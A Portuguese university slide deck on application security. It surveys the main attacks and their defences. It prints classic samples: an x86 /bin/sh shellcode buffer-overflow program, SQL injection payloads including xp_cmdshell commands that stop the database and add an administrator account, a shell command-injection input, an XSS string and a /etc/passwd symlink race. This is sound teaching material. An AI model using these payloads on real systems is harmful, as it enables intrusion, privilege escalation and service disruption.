250 likes | 357 Views
Segurança em Aplicações 3. Principais Ataques. Márcio Aurélio Ribeiro Moreira marcio.moreira@pitagoras.com.br http:// si.lopesgazzani.br/docentes/marcio /. Estrutura típica de aplicações. Principais pontos de ataque. Áreas públicas: Vantagem: Facilidade de ataque Desvantagem: Baixo retorno
E N D
Segurança em Aplicações3. Principais Ataques Márcio Aurélio Ribeiro Moreira marcio.moreira@pitagoras.com.br http://si.lopesgazzani.br/docentes/marcio/
Principais pontos de ataque • Áreas públicas: • Vantagem: Facilidade de ataque • Desvantagem: Baixo retorno • Alvos e ataques: • Clientes: Roubo de informações • Links: Coleta de pacotes • Webservers: Negação de serviço • Áreas restritas: • Vantagem: Alto retorno • Desvantagem: Complexidade • Alvos e ataques: • Firewall: Negação de serviço • S.Aplicação: Violação de acesso • S.Banco: Violação de acesso
Principais vulnerabilidades • Áreas públicas: • Baixo conhecimento dos usuários • Baixo nível de proteção das estações • Uso de protocolos inseguros ou frágeis • Áreas restritas: • Gestão inadequada de usuários • Gestão inadequada de perfis • Integrações inseguras entre sistemas • Servidores mal configurados • Aplicações mal escritas
Resumo das ameaças • Ameaças de invasão: • Atividades de varredura: pessoas procurando formas de acessar seus serviços ou aplicações • Intrusão: • Tentativa bem sucedida de obter acesso à uma máquina que não deveria ter • Destruição: Perda de dados ou informações (após a intrusão) • Código malicioso: • Vírus, verme, etc. • Negação de Serviço (DoS: Denial-of-Service): • Impedir que o serviço seja oferecido aos usuários • Ex.: E-mails bomba (lotam o servidor de e-mails forjados) • Forjar (spoofing): • Oferecer serviços ou aplicações que parecem com os verdadeiros para obter informações (especialmente credenciais) • SPAM: • Espalhar e-mails ou mensagens não desejadas pelas pessoas
Explorando vulnerabilidades públicas • Explorando a fragilidade do usuário: • Cavalo de Tróia (Trojan horse) e vírus/verme/malware • Sequestro de sessão (session hijack) • Engenharia social (obter informações privadas) • Fragilidade de senhas • Explorando a fragilidade da máquina: • Keyloggers (interceptadores de teclado e mouse) • Tomando o controle da máquina do usuário • Explorando pacotes de rede (sniffing): • Coleta de credenciais (Ethereal) • Preparação de ataques a áreas restritas • Ganhar acesso e controle de servidores
Explorando gestão inadequada • Gestão inadequada de usuários • Um usuário para cada sistema ou aplicação • Usuários demitidos, mas os acessos não • Acumulação de acessos durante a carreira • Falta de padronizações (processos adequados) • Gestão inadequada de perfis • Nivelar perfil pela maior necessidade • Acumulação de perfis durante a carreira • Integração de parceiros, terceiros, visitantes, etc.
Explorando servidores mal configurados • Trocando módulos e pacotes de correções • Interceptando chamadas de sistema • Explorando Rootkits (kernel forjado) • Explorando Condições de Corrida • Ganhar privilégios indevidos ou negar o serviço • Buffer Overflow • Atacar protocolos frágeis • Atacar utilitários frágeis
Explorando integrações ruins • A integração de sistemas é muito comum • Como sistemas heterogêneos podem conversar entre si? • Solução comum: • Arquivos texto (ASCII), planilhas, etc. • Armazenado em pastas comuns aos sistemas • Transportados em mídias ou links inseguros • Interface humana (lê em um e digita no outro) • Ataques: • Interceptação, cópia, alteração, inclusão e exclusão
Explorando aplicações mal escritas • Redundâncias de autenticações: • n aplicações n bases de autenticações • Injeção de código: • SQL injection: • Forjar acessos válidos (ataque ao where) • Ganhar acesso indevido (console remoto) • Codeinjection: • Forjar acessos válidos (ataque ao if) • Buffer overflow: instalando portas de acesso • Capturar áreas de memória (memorydump) • Explorar falta de rastreabilidade e consistência: • Usar credenciais válidas para ações ilícitas
Explorando aplicações web • Inspeção de pacotes: usar https com ssl • Keyloggers: usar teclado virtual • Explorar portas: usar firewall • Espalhar vírus e trojan: usar antivírus • Sites clonados: digite o endereço • E-mails falsos: • Não abra, use confirmação de remetente, etc. • Utilize e-mails seguros (cifrados e autenticados) • Assistentes virtuais: personalize a página
10 principais ataques para web • Injeção (código e SQL) • Cross Site Scripting (XSS) • Quebra de autenticação e de gestão de sessão • Falta de segurança em referências diretas a objetos • Forjar requisições para trocas de sites (CSRF: Cross Site RequestForgery) • Configuração inadequada de servidores • Falhas de controle de acesso as URLsrestritas • Encaminhamentos e redirecionamentos inválidos • Baixo nível de criptografia de acesso à Storages • Insuficiência na proteção da camada de transporte da rede
Explorando o “man in the middle” • Ataque do homem do meio: • Interceptar uma conexão • Seqüestrar a sessão • Recomendações: • Não use proxy • Use certificados públicos • Use uma entidade certificadora externa • Use cartões de números variáveis (tokens) • Autentique a estação de origem • Questão: como autenticar dispositivos móveis?
XSS (Cross Site Scripting) • Ideia: • Injeção de código (JavaScript, VBScript, ActiveX, HTML ou Flash) por um espião, do lado do cliente, nas páginas que serão utilizadas por outros usuários • Meios utilizados: • Páginas que serão acessadas, cookies, e-mails com links para áreas intermediárias, etc. • Paradoxo: • Para evitar o ataque o usuários deve desabilitar a execução de scripts, mas com isto perde funcionalidades que podem ser imprescindíveis • Exemplo trivial: • Digitar <script>alert(“hello")</script>, numa caixa de texto de busca
Buffer Overflow • Exemplo: • char nome[30]; • printf(“Nome: "); • gets(nome); // permite o overflow da variável • char b[100]; • strcpy(nome, b); // copia os 100 bytes de b em nome • Se faltar memória: Erro • Se a linguagem tratar: Erro ou exceção • Se a linguagem não tratar? • Existem vários ataques que exploram isto!
Buffer Overflow - Estratégia • Injetar código nas variáveis das funções: • Acessar o shell do SO • Abrir portas para ataques posteriores • Instalar ou abrir servidores de acesso remoto • Mudar o endereço de retorno • Disparar o código por outra injeção • Vulnerabilidades conhecidas: • TCP/IP, IIS (ISAPI), Apache, Sendmail, Linux e Unix (DNS: update de zonas), etc. Estrutura de Funções:
Exemplo de código de ataque #include <stdio.h> #include <string.h> char shellcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; intmain(intargc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
Como obter o código de ataque? • Programando em Assembler e pegando os códigos hexa do executável • Utilizando o DEBUG:
SQL Injection • Idéia: injetar código para ganhar acesso • Exemplo de autenticação: • SELECT * • FROM usuarios • WHERE usuario = '$usuario' AND senha = '$senha' • Sintaxe SQL: • ' (apóstrofo) Terminador de strings • -- (2 menos) Comentários (ignora o restante) • O que acontece se digitarmos no campo usuário? • x' OR 1=1 --
SQL Injection - Exemplos • No SQL Server: • '; EXEC xp_cmdshell 'net stop sqlserver', no_output -- • No lugar do comando (net stop ...), podemos colocar: • Net user admin2 /add && net localgroup administrators admin2 /add && net localgroup ORA_DBA admin2 /add • ' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' -- • Injeção no get (passagem de parâmetros) em url: • http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'— • Referências: • www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
Code Injection • Após ganhar acesso ao SO digite: • cat > exs // copia digitação em exs • #!/bin/sh // o shell default é o sh • A=$1 // atribui o 1º parâmetro à A • eval "ls $A“ // executa ls com conteúdo de A • chmod a+rx exs // permite execução de exs • O que acontece se digitarmos? • ./exs ".;chmod o+r *“ • O caractere “;” é um separador de comandos do shell do linux e unix
Condições de corrida • Os arquivos temporários são gerados por funções: • name=maketemp("/tmp/gs_XXXXXXXX"); • fp=fopen(name,"w"); • Eles herdam os privilégios de seus geradores • O que podemos colocar em arquivos temporários? • O que ocorre se no momento de uma condição de corrida mudarmos a path do arquivo? • Ex: symlink /tmp/gs_12345A -> /etc/passwd • As condições de corrida podem ocorrer: • Memória, arquivos ou sinais. • Referência: • http://projects.cerias.purdue.edu/secprog/class2/5.Links_&_Races.pdf
O que fazer? • Proteger a infra-estrutura: • Segurança de perímetro (Firewall, IDS, IPS, etc.) • Segurança na instalação, configuração e manutenção • Atualização segura de SO e serviços • Avaliação periódica de segurança (Ethical Hacking) • Monitoramento contínuo de log • Proteger as aplicações: • Processo de desenvolvimento seguro de desenvolvimento • Autenticação centralizada • Adote padrões de comunicação e conexão com DBMS • Processo de garantia da qualidade (avaliações periódicas)
Taxonomias (critérios de classificação) • MANET: • Mobile ad-hoc network • Classifica: • Vulnerabilidades, Desafios, Ataques e Aplicações • MANET: Vulnerabilities, Challenges, Attacks, Application - Priyanka Goyal, Vinti Parmar e Rahul Rishi • AVOIDIT: • Classifica: • Ataques, Vetores, ImpactosOperacionais, Defesa, Impacto de Informações e Alvos • AVOIDIT: A Cyber Attack Taxonomy - Chris Simmons, Charles Ellis, Sajjan Shiva, DipankarDasgupta, Qishi Wu • Tratadosobre o tema: • A taxonomy of computer attacks with applications to wireless networks - Daniel Lowry Lough